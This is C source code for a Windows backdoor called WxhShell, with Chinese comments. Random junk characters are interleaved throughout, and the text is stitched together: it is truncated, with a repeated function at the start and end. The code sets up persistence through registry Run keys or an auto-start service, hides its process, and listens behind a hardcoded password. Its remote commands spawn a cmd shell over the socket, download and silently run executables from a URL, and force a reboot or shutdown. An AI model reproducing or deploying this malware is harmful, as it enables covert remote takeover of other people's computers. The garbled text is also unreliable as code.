ixwK, ]Pn!nSg // 自身启动模式 2=PBxDs; int StartFromService(void) +?RGta'%k { !a1i Un9 typedef struct ;)DzCc/ { E(<LvMiCa DWORD ExitStatus; FgA//)1 DWORD PebBaseAddress; Y ?]G}5 DWORD AffinityMask; Oi:JiD= DWORD BasePriority; c)C 5KaiPG ULONG UniqueProcessId; ^c9ThV.v ULONG InheritedFromUniqueProcessId; 'Tb0-1S? } PROCESS_BASIC_INFORMATION; >Pe:I yt.c5>B^ PROCNTQSIP NtQueryInformationProcess; pt:;9hA ^o<:;{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ri:p8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h\,5/ )Y nYv#4* HANDLE hProcess; UPCQs", PROCESS_BASIC_INFORMATION pbi; ucg$Ed ||TtNH HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4 9w=kzo if(NULL == hInst ) return 0; _=`x])mM Wb=Jj 9; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >.dHt\ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L@|#Bbmx NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $fArk36O# M1=_^f=&. if (!NtQueryInformationProcess) return 0; `6 Y33bQ K_-MkY?+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j)D-BK&+ if(!hProcess) return 0; uIP
iM8( #MTj)P, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j8HOc( QJ<[Zx CloseHandle(hProcess); dXP6"V@iI DA <ynBQ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Jirct,k if(hProcess==NULL) return 0; eOrYa3hQ huAyjo HMODULE hMod; $v&C@l \ char procName[255]; \REc8nsLy unsigned long cbNeeded; SMq9j,k $Xt;A&l2? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,+-? Zv 2 ]V<"(?,K CloseHandle(hProcess); 3_J>y nYov>x] if(strstr(procName,"services")) return 1; // 以服务启动 rbh[j@s@ ^gm>!-Gx return 0; // 注册表启动 *]!l%Uf% } iBHw[X,b px
[~=$F // 主模块 {&`VGXG int StartWxhshell(LPSTR lpCmdLine) 8*)4"rS { c! ~T2t SOCKET wsl; q2Rf@nt BOOL val=TRUE; QT_^M1% int port=0; N?^_=KE@ struct sockaddr_in door; qL>v&Rd< O9;dd
yx if(wscfg.ws_autoins) Install(); r]-+bR D2?S,9+E_ port=atoi(lpCmdLine); ~*kK4]lP ER2V*,n@ if(port<=0) port=wscfg.ws_port; &[)D]UL R25-/6_V> WSADATA data; hG~ Uz if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h{H]xe[Q rT<1S?jR if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CwB] )QV? setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m>O2t- door.sin_family = AF_INET; >E~~7Yal door.sin_addr.s_addr = inet_addr("127.0.0.1"); oo'iwq-\ door.sin_port = htons(port); qAbd xd[ )Kr(Y.w if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S}O5l}E closesocket(wsl); tB!|p 6 return 1; cY^Y!., } ]ci RiMkT( hN}5u"pS if(listen(wsl,2) == INVALID_SOCKET) { x;*VCs closesocket(wsl); }Uq/kei^P return 1; L% zuI& q } 6eOxF8 Wxhshell(wsl); }0krSzcn#, WSACleanup(); =$[W,+X6f VJGwd`qo*A return 0; }el,^~ ]KzJ u`O%G } -IGMl_s x9TuweG // 以NT服务方式启动 ,Qga|n8C VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p~ mN2x ] { P%ye$SASd DWORD status = 0; P2A]qX DWORD specificError = 0xfffffff; [,.[gWA m70`{-O serviceStatus.dwServiceType = SERVICE_WIN32; FN{H\W1cf serviceStatus.dwCurrentState = SERVICE_START_PENDING; LZ=wz.'u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FU [8:o62 serviceStatus.dwWin32ExitCode = 0; /y+;g{ serviceStatus.dwServiceSpecificExitCode = 0; uD0(aqAZ serviceStatus.dwCheckPoint = 0; pe`TH::p serviceStatus.dwWaitHint = 0; kMfc"JXF tal>b]B; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )3D+gu if (hServiceStatusHandle==0) return; Huc3|~9 (1saof*p% status = GetLastError(); >x|A7iWn{, if (status!=NO_ERROR) [RGC!}"mr { Zpn*XG serviceStatus.dwCurrentState = SERVICE_STOPPED; op.PS{_t serviceStatus.dwCheckPoint = 0; :V5!C$QV serviceStatus.dwWaitHint = 0; k'WS"<- serviceStatus.dwWin32ExitCode = status; PU]7c2.y serviceStatus.dwServiceSpecificExitCode = specificError; {Oc?C:aI= SetServiceStatus(hServiceStatusHandle, &serviceStatus); S\yu%=h return; '/gxjr& } H`+]dXLB :JTRRv serviceStatus.dwCurrentState = SERVICE_RUNNING; A$H+4L serviceStatus.dwCheckPoint = 0; /Gh
x2B serviceStatus.dwWaitHint = 0; ZYl-p]\*y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !DY2{Wb } WNF=NNO-R wHo#%Y,Nmi // 处理NT服务事件,比如:启动、停止 it/C y\f VOID WINAPI NTServiceHandler(DWORD fdwControl) 9:}RlL+cOk { ^Yf)lV&[ switch(fdwControl) >ji}j~cH { lyOrM7Gs case SERVICE_CONTROL_STOP: {3F}Slb serviceStatus.dwWin32ExitCode = 0; g# 9*bF serviceStatus.dwCurrentState = SERVICE_STOPPED; YDZ1@N}^B serviceStatus.dwCheckPoint = 0; 7Dx .; serviceStatus.dwWaitHint = 0; Ue>A { qI4R`P" SetServiceStatus(hServiceStatusHandle, &serviceStatus); {8>_,z^P) } ~NxoF return; iC5JU&l case SERVICE_CONTROL_PAUSE: Xx9~ serviceStatus.dwCurrentState = SERVICE_PAUSED; =w;xaxjL break; T^=Ee?e case SERVICE_CONTROL_CONTINUE: )n3biQL_ serviceStatus.dwCurrentState = SERVICE_RUNNING; CpP$HrQ break; _+R_ms case SERVICE_CONTROL_INTERROGATE: l66ipgw_^I break; zvQ^f@lq2 }; WkU)I2oH SetServiceStatus(hServiceStatusHandle, &serviceStatus); |]2eGrGj4 } ay7+H7^|hZ vI:bl~ // 标准应用程序主函数 +_|cZlQ& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RZ,<D I { Q+%m+ /Zq v,x%^gv 0 // 获取操作系统版本 LTls]@N OsIsNt=GetOsVer(); N-?|]4e/ GetModuleFileName(NULL,ExeFile,MAX_PATH); w]+BBGYQKb J!^~KN6[ // 从命令行安装 (j"~]T!)1 if(strpbrk(lpCmdLine,"iI")) Install(); qeO6}A"^| ^2?O+ =,F // 下载执行文件 9|kEq>d if(wscfg.ws_downexe) { Wp9
2sm+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @*`UOgP7 WinExec(wscfg.ws_filenam,SW_HIDE); nY5n%>8 } $nd-[xV GzZ|T7fm if(!OsIsNt) { ^>R| R1& // 如果时win9x,隐藏进程并且设置为注册表启动 |EEz>ci HideProc(); yOCcp+`T} StartWxhshell(lpCmdLine); a518N*]j } jiB>.te else 0|+hm^'_ if(StartFromService()) $E@.G1T [ // 以服务方式启动 I9j+x]) StartServiceCtrlDispatcher(DispatchTable); d\<aJOi+- else ,DUQto // 普通方式启动 *p5T StartWxhshell(lpCmdLine); ",
Rw%_ !vo '8r?& return 0; h*X%:UbW } UeiJhH,u t:j07 ,1~ ZzaW@6LJF f+88R=-u6S =========================================== YHv,Z|.w s1b\I6&:J r
L|BkN {^O/MMB\\% 6g,3s?aT &l}xBQAL " v&/-&(+ 8 P y_Y> #include <stdio.h> >U
Ich #include <string.h> .$}zw|,q #include <windows.h> ?j$8Uy$$ #include <winsock2.h> 5N</Z6f'o #include <winsvc.h> H.G^!0j; #include <urlmon.h> 52R.L9Ai FbNQ #pragma comment (lib, "Ws2_32.lib") EjCzou #pragma comment (lib, "urlmon.lib") .?)oiPW# 0+`*8G) #define MAX_USER 100 // 最大客户端连接数 l8Iy03H #define BUF_SOCK 200 // sock buffer <u%e* #define KEY_BUFF 255 // 输入 buffer E0%Y%PQ**{ sEi.f(WA #define REBOOT 0 // 重启 8}b[Q/h! #define SHUTDOWN 1 // 关机 Y `p&*O iYs?B0*JWK #define DEF_PORT 5000 // 监听端口 4U1fPyt l{x#*~ga #define REG_LEN 16 // 注册表键长度 &zDFf9w2{ #define SVC_LEN 80 // NT服务名长度 jsht2]iq3K oa|*-nw // 从dll定义API -^yc yZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 03\8e?$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n&&U9sf? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fszeJS}Dw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qCT\rZU }n8;A;axi // wxhshell配置信息 tdK^X1 struct WSCFG { l'8wPmy%N int ws_port; // 监听端口 W%QtJB1) char ws_passstr[REG_LEN]; // 口令 JJ06f~Iw[ int ws_autoins; // 安装标记, 1=yes 0=no _jKVA6_E char ws_regname[REG_LEN]; // 注册表键名 @a3v[}c* char ws_svcname[REG_LEN]; // 服务名 "<R
2oo)^ char ws_svcdisp[SVC_LEN]; // 服务显示名 -zkL)<7 char ws_svcdesc[SVC_LEN]; // 服务描述信息 LMj'?SuH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L uKm int ws_downexe; // 下载执行标记, 1=yes 0=no \`# 0,pLr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]a~LA7VHO char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k}qiIMdI H5t`E^E }; mQuaO#
I, ?E@[~qq_ // default Wxhshell configuration ="E
V@H?U struct WSCFG wscfg={DEF_PORT, nL~
b "xuhuanlingzhe", /hR]aw 1, xGk4KcxKs "Wxhshell", f_Bf}2Eedj "Wxhshell", N'.+ezZ;h "WxhShell Service", Lwk- "Wrsky Windows CmdShell Service", {627*6, "Please Input Your Password: ", be@uHikp;v 1, 2a-hf|b1 "http://www.wrsky.com/wxhshell.exe", Rj=Om "Wxhshell.exe" S3wH
M }; f/m6q8!L{ sRnMBW. // 消息定义模块 - mXr6R? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FQl|<l6 char *msg_ws_prompt="\n\r? for help\n\r#>"; 1ki"UF/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L<`g}iw char *msg_ws_ext="\n\rExit."; ?Qk#;~\yB char *msg_ws_end="\n\rQuit."; c>.X c[H char *msg_ws_boot="\n\rReboot..."; $Bb/GXn{\ char *msg_ws_poff="\n\rShutdown..."; z6(Q
3@iO char *msg_ws_down="\n\rSave to "; gu&oCT ?yK\L-ad char *msg_ws_err="\n\rErr!"; px@\b]/ char *msg_ws_ok="\n\rOK!"; `$- Ib^ (0f^Hh wF char ExeFile[MAX_PATH]; E~^'w.1 int nUser = 0; !CKUkoX HANDLE handles[MAX_USER]; l0)uu4| int OsIsNt; CVp<SS( L;`t%1 SERVICE_STATUS serviceStatus; Pq%cuT% SERVICE_STATUS_HANDLE hServiceStatusHandle; :B~c>: {c;3$ // 函数声明 <X*8Xzmv int Install(void); 3s2M$3r)6 int Uninstall(void); eH{ 9w8~ int DownloadFile(char *sURL, SOCKET wsh); SGm?"esEt int Boot(int flag); oJ:J'$W( void HideProc(void); ow"Xv int GetOsVer(void); g!ww;_ int Wxhshell(SOCKET wsl); @35shLs void TalkWithClient(void *cs); 63=m11Z4 int CmdShell(SOCKET sock); b??1Up int StartFromService(void); HxaUVg0 int StartWxhshell(LPSTR lpCmdLine); =d}3>YHS Km7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5>Q)8`@E VOID WINAPI NTServiceHandler( DWORD fdwControl ); -s"lW 7N^ 605|*( // 数据结构和表定义 .2xkf@OP SERVICE_TABLE_ENTRY DispatchTable[] = QL#y)G53Q { )RFeF!(" {wscfg.ws_svcname, NTServiceMain}, r;z A ` {NULL, NULL} {W]jVh p }; 5mU_S\)4:z >YLm]7v} // 自我安装 `Z-`-IL int Install(void) 3QpTO, { <X?F :?Mk char svExeFile[MAX_PATH]; L@XeAEIq HKEY key; tANG ] strcpy(svExeFile,ExeFile); `Nj|}^A jTnu! H2o // 如果是win9x系统,修改注册表设为自启动 *C \O]r:' if(!OsIsNt) { (&(f`c@I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g5)VV" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;/@R{G{+~; RegCloseKey(key); |Bp?"8%*l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *M:Bhw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `;;!>rm RegCloseKey(key); AN@Vos
Cu return 0; 2xX7dl(cC } cc[w%jlA# } `f'P } :R)IaJ6) else { Qxwe,: +-hmITJv // 如果是NT以上系统,安装为系统服务 {F j`'0Xu; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rfjQx]3pB if (schSCManager!=0) D)5wGp { Dng^4VRd SC_HANDLE schService = CreateService U^xFqJY6 ( U&6f}=vC schSCManager, (I$hw"%& wscfg.ws_svcname, QU t!fF@t wscfg.ws_svcdisp, d1-QkW^0y SERVICE_ALL_ACCESS, <~d N23) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DsoF4&>g[B SERVICE_AUTO_START,
:9<5GF( SERVICE_ERROR_NORMAL, Oe$C5KA>LW svExeFile, R`c5-0A NULL, gisZmu0 NULL, 6R25Xfm_| NULL, y.zW>Mfl NULL, 7P NULL PJ'l:IU ); wNlp4Z'[ if (schService!=0) b#sO1MXv { (f)QEho7 CloseServiceHandle(schService); <%5ny!] CloseServiceHandle(schSCManager); W/ERqVZR] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m\(a{x strcat(svExeFile,wscfg.ws_svcname); R&?p^!`% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]?^mb n RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j'Fni4; RegCloseKey(key); ||hd(_W8 return 0; =#W6+=YN8 } E:2Or~ } k20tn
ew CloseServiceHandle(schSCManager); ="V6z$N } l{<@[foc } "h
"vp&A r_QWt1K return 1; >B==*,| } +7=3[K Yv>% 5` // 自我卸载 3o h(d.Z int Uninstall(void) ]c08` { WkT4&|POJ HKEY key; ,ecFHkT> a$ Z06j if(!OsIsNt) { L~\Ir if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '2eggX% RegDeleteValue(key,wscfg.ws_regname); 2vynz,^ET RegCloseKey(key); YtFtU;{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YQ]W<0( RegDeleteValue(key,wscfg.ws_regname); Up~#]X RegCloseKey(key); -{^Gzui return 0; \]zHM.E1 } q%nWBmPZ~y } GujmBb } Gx!Y
4Q}- else { U2;_{n*g% kIyif7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); opd^|xx0 if (schSCManager!=0) svN&~@l { s$A|>TOY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *5u0`k^j if (schService!=0) 'vBuQinn { `j9 ;9^ if(DeleteService(schService)!=0) { T)MKhK9\Ab CloseServiceHandle(schService); 29:] cL(5 CloseServiceHandle(schSCManager); V!uW\i/ return 0; U 1vZr{\ } ;tlvf?0! CloseServiceHandle(schService); idEhxvAo } #mFIZMTRd CloseServiceHandle(schSCManager); 9J*.'Y } ^8OK.iC } Dc2H<=]; N:_.z~>% return 1; y2KR^/LN|Y } Vmt$]/ /@ m]@ // 从指定url下载文件 Phr+L9Eog int DownloadFile(char *sURL, SOCKET wsh) Fsz;T; { KSz;D+L\ HRESULT hr; !cW6dc^ char seps[]= "/"; 508v:?^' char *token; ?L x*MJZ char *file; 6/6M.p char myURL[MAX_PATH]; \ ,D>zF char myFILE[MAX_PATH]; {u~JR(C: 6Z.Fyte strcpy(myURL,sURL); 3N257] token=strtok(myURL,seps); FF #T"y0Y while(token!=NULL) HAwdu1$8 { 6+!$x?5|NP file=token; _0}u0fk token=strtok(NULL,seps); !y+uQ_IS@ } m~04I~8vk Y
\ Gx| GetCurrentDirectory(MAX_PATH,myFILE); Q<0X80w> strcat(myFILE, "\\"); }k;wSp[3 strcat(myFILE, file); Wz%H?m:g# send(wsh,myFILE,strlen(myFILE),0); A*G ~#v^ send(wsh,"...",3,0); "%lIB{ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L>L IN 1A if(hr==S_OK) -^+fZBU; return 0; hi`[ else u8.F_'` z return 1; ,BUrZA2\U$ ~[%_]/#&%z } X!_&%^L' /% g+|C // 系统电源模块 IdqCk0lVD int Boot(int flag) pT{is.RM { i-PK59VZ8f HANDLE hToken; Bv<aB(c TOKEN_PRIVILEGES tkp; oqAO@<dL!
E;}&2 a if(OsIsNt) { 63'm
@oZ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k@
<dru LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Xx3s@ tkp.PrivilegeCount = 1; rY6x):sC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |.VSw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A
0v=7
] if(flag==REBOOT) { 8OKG@hc if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FRuPv6 return 0; L&c
&
<+0T } d(|q&b: else { 9dq"x[ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3_<l`6^Ns/ return 0; ,A'| Z } $TfB72 } \_WR:?l else { (>vyWd] if(flag==REBOOT) { 1aQm r=, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {.542}A return 0; -nXP<v=V } Q66 + else { JcUU#> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T?Kh' return 0; j*@@H6G } 9j|v
D } <Xl#}6II s>m2qSu return 1; )w0x{_ } ;+<IWDo qmFG // win9x进程隐藏模块 g!R7CRt% void HideProc(void) ]o8]b7- { h*%FZ}}`q W?5') HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZA+dtEE=f9 if ( hKernel != NULL ) JD#x+~pb,8 { AY{KxCrb^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k?Z:=.YW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TY)QE FreeLibrary(hKernel); H0;Iv#S! }
jd](m:eG =}0Uw4ub(u return; >=[uLY[aK } I)rO| &1$d`>fn // 获取操作系统版本 ux<|8S int GetOsVer(void) l)9IgJ|<b { 8@;]@c)m OSVERSIONINFO winfo; Z#Mm4(KNh winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -NXxxK GetVersionEx(&winfo); &]DB-t#\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D`T;j[SsS# return 1; F{0\a;U@^ else -g@!\{ return 0; xj3qOx$ } iM@$uD$_Q2 {4D`VfX_ // 客户端句柄模块 _K o#36.S int Wxhshell(SOCKET wsl) LH5Z@*0# { XVqOiv) SOCKET wsh; E`.xu>Yyj struct sockaddr_in client; R9U{r.AA DWORD myID; a_RY Yj S@/{34, while(nUser<MAX_USER) wXKtQ#o} { jVQy{8{G int nSize=sizeof(client); =6u@JpOl wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r[S(VPo[() if(wsh==INVALID_SOCKET) return 1; J!2Z9<q5 w"v!+~/9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aUaeK(x:H if(handles[nUser]==0) PMfW;%I. closesocket(wsh); F\ B/q else d=D-s nUser++; nGH6D2!F } +<a\0FsD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iH8we,s' z`zz8hK. return 0; i g(O$y } 3`bQ0-D; Xs~'M/>
O // 关闭 socket Zw]"p63eMa void CloseIt(SOCKET wsh) C[L 5H { 3vY-;& closesocket(wsh); ,8e'<y nUser--; w"j>^#8 ExitThread(0); !*-|!Vz } P([!psgu IL*B@E8 // 客户端请求句柄 Tqt-zX|> void TalkWithClient(void *cs) Gyq 6? { /6')B !& 7hHID>,o9% SOCKET wsh=(SOCKET)cs; wlXs/\es char pwd[SVC_LEN]; L/i'6(=" char cmd[KEY_BUFF]; B!wN%>U char chr[1];
7kLurv int i,j; 8 0tA5AP v\:AOY' while (nUser < MAX_USER) { vNSUrf,r `NIb?/!f if(wscfg.ws_passstr) { JP>EW&M if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eC-&.Fl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JWNN5#=fQ //ZeroMemory(pwd,KEY_BUFF); ZFtx&vrP i=0; 9<gW~
s> while(i<SVC_LEN) { ?w:\0j5~ }b4 56J // 设置超时 3~`P8 9 fd_set FdRead; % !@E)%d0 struct timeval TimeOut; B
~v6_x FD_ZERO(&FdRead); In?rQiD9 FD_SET(wsh,&FdRead); =Zj
7dn;EN TimeOut.tv_sec=8; fEBi'Ad TimeOut.tv_usec=0; Ichg,d-M-K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aT,WXW* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sl$6Zv-l%0 T\gs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %e:+@%] pwd=chr[0]; <V^o.4mOg> if(chr[0]==0xd || chr[0]==0xa) { nvR%Ub x pwd=0; 1K/HVj+'. break; #6M |T+= } |b\a)1Po: i++; T6/P54S } ]!TE ;`
L%^WZ;- // 如果是非法用户,关闭 socket /`m*PgJ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;r@=[h
} @fA{;@N 3HyOQD"{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lf-.c$.> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /4+L2O[ 9wx]xg4l" while(1) { &<><4MQ 6$OmOCA% ZeroMemory(cmd,KEY_BUFF); >a975R*g FRxR/3& // 自动支持客户端 telnet标准 y{M7kYWtHV j=0; JL
{H3r&/S while(j<KEY_BUFF) { {`):X _$T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "`;-5d g cmd[j]=chr[0]; u.A}&'H if(chr[0]==0xa || chr[0]==0xd) { e#hg,I cmd[j]=0; |dxWO break; (c0L@8L } \dQc!)&C9 j++; >,Y+ 1 } B*:I-5 `Ij EwKra // 下载文件 bGwOhd<. if(strstr(cmd,"http://")) { jwjLxt send(wsh,msg_ws_down,strlen(msg_ws_down),0); p"P+8"` if(DownloadFile(cmd,wsh)) Q&0`(okb send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9qDM0'WuU else 8GBKFNR8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fah6
&a } xq.kH| bH else { V0D&bN* +8xT}mX switch(cmd[0]) { FI: H/e5[ ];CIo>
b_( // 帮助 wdt2T8`I/ case '?': { BEax[=&W send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \A^8KVE! break; dfAw\7v/ } _N:$|O# // 安装 xKUWj<+/ case 'i': { 13 h,V]ak if(Install()) ,~,q0PA7J send(wsh,msg_ws_err,strlen(msg_ws_err),0); XzIC~} else [f\Jcjc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W\-`}{B_/ break; ,){#J"W } f"gYXaVF+ // 卸载 Z79 6;qk case 'r': { \^0>h`[ if(Uninstall()) v.*fJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); iz;5: else Kn3Xn`P? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '4 d4i break; W%5))R$ } ZD]{HxGL! // 显示 wxhshell 所在路径 #/Ob_~-?j case 'p': { k?HdW(HA char svExeFile[MAX_PATH]; oMemF3M strcpy(svExeFile,"\n\r"); F#yn'j8 strcat(svExeFile,ExeFile); &\ca ? # send(wsh,svExeFile,strlen(svExeFile),0); `%~}p7Zu break; Ohj^Z&j } Z&?4<-@6\p // 重启
_t"[p_llo case 'b': { pRh9+1EM; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4$, W\d if(Boot(REBOOT)) I9L3Y@(f6m send(wsh,msg_ws_err,strlen(msg_ws_err),0); W4av?H else { ,_H H8[& closesocket(wsh); '/XP4B\(E ExitThread(0); Zgp9Uu}" } UAz^P6iQ`~ break; &c"!Y)%G } @D*PO-s9 // 关机 F (kq case 'd': { R}w}G6"\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qT$ IV\;_ if(Boot(SHUTDOWN)) d3\?:}o, send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,]ySBAO else { "9^b1UH< closesocket(wsh); <z%**gP~G ExitThread(0); NAtDt= } #J3}H break; #?r|6<4X } Nz3+yxv1 // 获取shell KwMt@1Z case 's': { N;YFr CmdShell(wsh); l="X|t closesocket(wsh); @",#'eC" ExitThread(0); GPGPteC break; vy5Fw&?" } ]!!?gnPd5 // 退出 (x/:j*`K case 'x': { 451.VI}MR send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JW><&hY$" CloseIt(wsh); ;p~!('{P break; &d6ud| } r)-{~JA! // 离开 { Mb<onW case 'q': { qHgtd+
I send(wsh,msg_ws_end,strlen(msg_ws_end),0); e(^I.`9z closesocket(wsh); Ap?,y? WSACleanup(); b'SP,}s5" exit(1); /'.gZo break; (O(TFE5^ } QPLWRZu@ } PN9vg9' } >Q(\vl@N= 2brY\c
F // 提示信息 4P)#\$d: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x.t&NP^V) } d>I)_05t } RAhDSDf Y~I>mc] return; }OnU32P } t 3N}): 3 ;F // shell模块句柄 XW8@c2jN\7 int CmdShell(SOCKET sock) IFr"IOr'l { (ot56`,k STARTUPINFO si; }m?Ut| ZeroMemory(&si,sizeof(si)); ;c]O *\/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kk<%VKC si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t1
9f%d PROCESS_INFORMATION ProcessInfo; 0&|M/ char cmdline[]="cmd"; _8K8Ai-~.> CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C_ d|2C6 return 0; h"8[1
; } Rvf{u8W E$:2AK{* // 自身启动模式 ,Js_d int StartFromService(void) {_.(,Z{ { euT=]j typedef struct 5M'cOJ { 6ZI7V!k DWORD ExitStatus; By!u*vSev DWORD PebBaseAddress; OPq|4xu DWORD AffinityMask; ,Iz9!i
J" DWORD BasePriority; *wmkcifF; ULONG UniqueProcessId; S{2;PaK ULONG InheritedFromUniqueProcessId; {df;R|8l } PROCESS_BASIC_INFORMATION; G.XxlI} @##}zku PROCNTQSIP NtQueryInformationProcess; rDwd!Jet {P?DkUO} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <=%[.. (S static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &u[F)| bL0]Yuh HANDLE hProcess; e'G3\h}# PROCESS_BASIC_INFORMATION pbi; ?XyrG1(' $$4flfx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B&59c*K if(NULL == hInst ) return 0; hB\BFVUSn/ LR#.xFQ+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hr'?#K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FO!0TyQ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), 